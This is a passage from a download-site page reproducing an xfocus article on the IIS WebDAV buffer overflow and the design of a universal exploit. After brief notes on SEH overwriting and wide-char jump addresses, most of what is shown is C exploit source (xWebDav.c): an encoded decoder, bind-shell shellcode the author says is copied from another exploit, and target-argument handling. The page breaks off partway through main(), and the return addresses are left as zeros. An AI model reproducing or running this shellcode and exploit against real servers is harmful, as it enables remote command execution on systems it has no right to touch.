⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 webdav漏洞简单分析及通用exploit设计.html

📁 里面收集的是发表在www.xfocus.org上的文章
💻 HTML
📖 第 1 页 / 共 5 页
字号:
exploit中就是采用了后者。具体怎么猜我就不罗嗦了。<br />
<br />
<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;-=-=-=- 第四部分 exploit -=-=-=-<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;现在我们已经有了如下资源:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;&gt;简体中文、繁体中文、日文、韩文系统上通用的解码代码<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;&gt;知道了怎么样精确的猜测出IIS Path长度,并且在猜中同时将jmp addr精确的覆盖在指定的地方。<br />
&nbsp;&nbsp;&nbsp;&nbsp;我们还需要:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;&gt;符合上述四种平台wide char范围的jmpover代码。这个简单。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&lt;&gt;jmp addr地址。在我的exploit中采用的是覆盖SEH,所以jmpaddr可以用call ebx,<br />
或push ebx;ret,前者容易在系统dll中找到,但后者就比较少了。注意:jmpaddr地址也必须符合相应平台<br />
的wide char范围。找出各种平台通用的地址很难,至少我没有找到。但是我发现简体中文、繁体中文中某些<br />
系统DLL是一样的,所以能找到相同的地址。在日文、韩文中也有某些系统DLL是一样的,也能找到相同的<br />
地址。<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
-=-=-=-=-=-=-=-=-=-=-=-=-=-= xWebDav.c -=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-==-=-=-=-=<br />
#include &lt;winsock2.h&gt;<br />
#include &lt;windows.h&gt;<br />
#include &lt;stdio.h&gt;<br />
<br />
#pragma&nbsp;&nbsp;comment(lib,&quot;ws2_32&quot;)<br />
#define&nbsp;&nbsp;&nbsp;&nbsp;NOPCODE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x4F//0x4F//&#39;O&#39;<br />
#define BUFFLEN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;65536+8//传递给GetFileAttribeExW的buff长度<br />
#define OVERPOINT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x260//溢出点-0x14 SEH-0x4<br />
#define&nbsp;&nbsp;&nbsp;&nbsp;MaxTry&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;8//连接失败后重试次数<br />
#define&nbsp;&nbsp;&nbsp;&nbsp;DefaultOffset&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;23<br />
#define&nbsp;&nbsp;&nbsp;&nbsp;RecvTimeOut&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;30000//ms, 30s<br />
#define&nbsp;&nbsp;&nbsp;&nbsp;StartOffset&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;6<br />
#define&nbsp;&nbsp;&nbsp;&nbsp;EndOffset&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;80<br />
#define&nbsp;&nbsp;&nbsp;&nbsp;RetAddrNum&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;12//可用的ret addr数量<br />
/*严重错误,程序退出*/<br />
#define&nbsp;&nbsp;&nbsp;&nbsp;ERROR_OTHER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0//other error<br />
#define&nbsp;&nbsp;&nbsp;&nbsp;ERROR_METHOD_NOT_SUPORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1//no valu<br />
#define&nbsp;&nbsp;&nbsp;&nbsp;ERROR_NOT_IIS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2//not iis<br />
/*继续猜测offset*/<br />
#define&nbsp;&nbsp;&nbsp;&nbsp;ERROR_RESOURCE_NOTFOUND&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3//offset error<br />
#define&nbsp;&nbsp;&nbsp;&nbsp;ERROR_BAD_REQUEST&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4//offset error?<br />
/*成功了?*/<br />
#define&nbsp;&nbsp;&nbsp;&nbsp;ERROR_RECV_TIMEOUT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;5//success?<br />
/*尝试不同的ret addr*/<br />
#define&nbsp;&nbsp;&nbsp;&nbsp;ERROR_CONNECT_RESET&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;6//offset ok?但ret addr错误<br />
#define&nbsp;&nbsp;&nbsp;&nbsp;ERROR_CONNECT_FALIED&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;7//can&#39;t connect<br />
//[100 bytes]<br />
unsigned char&nbsp;&nbsp;&nbsp;&nbsp;decoder[] =<br />
&quot;%u0000%u7409%u4E07%u584A%u9050%u4FC3%u9053%u665E&quot;<br />
&quot;%u4EAD%u4F46%u6643%u973D%u906F%u9051%u7559%u53F0&quot;<br />
&quot;%u5F56%u574A%u6643%u50AD%u6643%u4F3D%u9000%u7459&quot;<br />
&quot;%u4ED5%u642C%u5950%u4F46%u9047%u6643%u50AD%u584B&quot;<br />
&quot;%u642C%u574A%u9051%u5F90%uFF03%uFF03%uFF03%uFF03&quot;<br />
&quot;%u0391%u91CF%u5F90%u90AA%u7441%u90CA%u9051%u7559&quot;<br />
&quot;%u4EC4%u6F97&quot;;<br />
/*绑定cmd的shellcode是从isno的exploit上copy过来的*/<br />
unsigned char&nbsp;&nbsp;&nbsp;&nbsp;xShellCode[]=<br />
&quot;mdrodgiqrodirlslsssssslgpieimdmdmdlopiggpmjjomeddgidldgdmkhdrfsnkrlrmimkmkpqephq&quot;<br />
&quot;ehkpmdsqjlphsggjmkmkmkmkpksgerofmkmkmkmknhhpfpmkmkkkrdkshomjmkmkejjpmkmkjlflmleh&quot;<br />
&quot;immjmkmkejihmkmkmjmkseejnpqnpqrfkdnhikepqhnomhihseejnspkqfrfhrehikrsepnkmhjhepqm&quot;<br />
&quot;momhipejnrqpqfpiqmrfifejrrmgqfqonhnirffonhjlepqeokmhihepipmhmsejnrqdsfrgpkrfmrej&quot;<br />
&quot;rrmgrislshqjrgmeqdehikmgkpkfmhjlmhjpeppeogmhjqnhhiseepldepjqepqelkqsmhjsnhirepil&quot;<br />
&quot;mhirmhirmhqmlomhipepnrmhjpkrsrmjmkmkpmedjdephdnhikjdhkepisjiglernienqimspipkphjl&quot;<br />
&quot;lipqerqimgenrilfpipejlpimgpqnhikgoegikrfjrnhireqmmegirrgmrpipephjllipqgpkiksqepi&quot;<br />
&quot;pejlpimgpqephsnhikgoegikrfjrnhireqmmekjrmirgmrpipephjllipqgpkikdnhikpkqkpkqkpkjl&quot;<br />
&quot;pdksdhsqlkpephjlpdkosqmiphjlpdjknhikpdpkfkmogppsgpqkgpplqspkpdpegnpejlpdikqspkpd&quot;<br />
&quot;gnpegnpejlpdikqsfkqgermdpdjlpdignhikepqejgerqdnoerqdqkepmeerqdnsnhiksefsmjmjerqd&quot;<br />
&quot;oopdpdnhikpkpkpkqkpkqspkpkgnpenhikpkjlpdisjlrejkjlpdiojlrejojlpdioqspkpkphjlpdjg&quot;<br />
&quot;ephsnhikfgmgpkijksmgpkjlpdhgepjknhikepisffmgpkpkpdpjpejlrdgsjlpdhkehnlmjrooinhik&quot;<br />
&quot;pkpdjlndpejlrdgsjlpdhompikrgolnhikpkjlndpephjlpdjssqpkjlpdkkkpisnhikpkfgmgpkpeph&quot;<br />
&quot;jlpdjopdnhirpjpkpejlrdgojlpdhssqpkjlpdkkkpgqpkjlpdkgkpjmpspkerqijiihepqgogmomffs&quot;<br />
&quot;mkmkmkidmkrspenglinhikihkpkokskijnjljlksdijmjljlqppekdrdohekkdrdqoslsjsgqosrsiri&quot;<br />
&quot;sjrirrqjmkqpqfpiqmqfqonhnimkqhrisfsjrgsfpksrrksfmkqdsfrgphrgsjrirgrfrkqrsmseslqj&quot;<br />
&quot;mkqhrisfsjrgsfpkrislshsfrhrhqjmkqhsoslrhsfqssjsmsgsosfmkpksfsfspqmsjsnsfsgpksrrk&quot;<br />
&quot;sfmkqdsoslsisjsoqjsososlshmkpdrisrrgsfqesrsosfmkpisfsjsgqesrsosfmkphsosfsfrkmkqf&quot;<br />
&quot;rssrrgpkrislshsfrhrhmkmkpdphqlqhqpnhnimkrhslshspsfrgmksisrsmsgmksosrrhrgsfsmmksj&quot;<br />
&quot;shshsfrkrgmkrhsfsmsgmkrisfshremkmimklmsomkmkmkmkmkmkmkmkmkmkmkmkshsnsgomsfrssfmk&quot;<br />
&quot;jljljljldd&quot;;<br />
<br />
unsigned char&nbsp;&nbsp;&nbsp;&nbsp;jmpover[]=&quot;%u9041%u6841&quot;;//0x41 inc ecx , 0x68&nbsp;&nbsp;push num32<br />
unsigned int&nbsp;&nbsp;&nbsp;&nbsp;g_iConnectError=0;<br />
<br />
/*恕不提供此处数据*/<br />
unsigned int&nbsp;&nbsp;&nbsp;&nbsp;g_iRetAddrList[3][4]={<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,//call ebx addr at xx.dll in sp0_cn_tw,符合(cn、tw) wide char编码<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,//call ebx addr at xx.dll in sp1_cn_tw,符合(cn、tw) wide char编码<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,//call ebx addr at xx.dll in sp2_cn_tw,符合(cn、tw) wide char编码<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0//call ebx addr at xx.dll in sp3_cn_tw,符合(cn、tw) wide char编码<br />
&nbsp;&nbsp;&nbsp;&nbsp;},<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,//call ebx addr at xx.dll in sp0_jp_ko,符合(jp,ko) wide char编码<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,//call ebx addr at xx.dll in sp1_jp_ko,符合(jp,ko) wide char编码<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,//call ebx addr at xx.dll in sp2_jp_ko,符合(jp,ko) wide char编码<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0//call ebx addr at xx.dll in sp3_jp_ko,符合(jp,ko) wide char编码<br />
&nbsp;&nbsp;&nbsp;&nbsp;},<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,//call ebx addr at xx.dll in sp0_en,符合(cn、tw、jp、KO) wide char编码<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,//call ebx addr at xx.dll in sp1_en,符合(cn、tw、jp、KO) wide char编码<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,//call ebx addr at xx.dll in sp2_en,符合(cn、tw、jp、KO) wide char编码<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0//call ebx addr at xx.dll in sp3_en,符合(cn、tw、jp、KO) wide char编码<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
};<br />
int&nbsp;&nbsp;&nbsp;&nbsp;SendBuffer(char *ip, int iPort, unsigned char *buff, int len);<br />
int MakeExploit(unsigned int retaddr, int offset, char *host, char *ip, int iPort);<br />
void usage();<br />
<br />
void main(int argc, char **argv)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i, iRet,k,iOsType, iSP;<br />
&nbsp;&nbsp;&nbsp;&nbsp;unsigned int&nbsp;&nbsp;&nbsp;&nbsp;iOffset,iPort,iStartOffset, iEndOffset,iCorrectOffset;<br />
&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*ip,*host;<br />
&nbsp;&nbsp;&nbsp;&nbsp;unsigned int&nbsp;&nbsp;&nbsp;&nbsp;iRetAddrList[RetAddrNum], iRetAddrNum;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;memset(iRetAddrList, 0, sizeof(iRetAddrList));<br />
&nbsp;&nbsp;&nbsp;&nbsp;iRetAddrNum=0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;ip=NULL;<br />
&nbsp;&nbsp;&nbsp;&nbsp;host=NULL;<br />
&nbsp;&nbsp;&nbsp;&nbsp;iPort=80;<br />
&nbsp;&nbsp;&nbsp;&nbsp;iOsType=-1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;iSP=-1;<br />
&nbsp;&nbsp;&nbsp;&nbsp;iOffset=0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;iCorrectOffset=0;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(argc&lt;3)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;usage();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;for(i=1;i&lt;argc;i+=2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(strlen(argv[i]) != 2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;usage();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//检查是否缺少参数<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(i == argc-1)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;usage();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch(argv[i][1])<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case &#39;i&#39;:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ip=argv[i+1];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case &#39;h&#39;:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;host=argv[i+1];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case &#39;p&#39;:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;iPort=atoi(argv[i+1]);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case &#39;t&#39;:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;iOsType=atoi(argv[i+1]);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case &#39;s&#39;:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;iSP=atoi(argv[i+1]);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case &#39;o&#39;:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;iOffset=atoi(argv[i+1]);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;//检查参数<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(!ip)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;usage();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(!host) host=ip;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(!iOffset) <br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -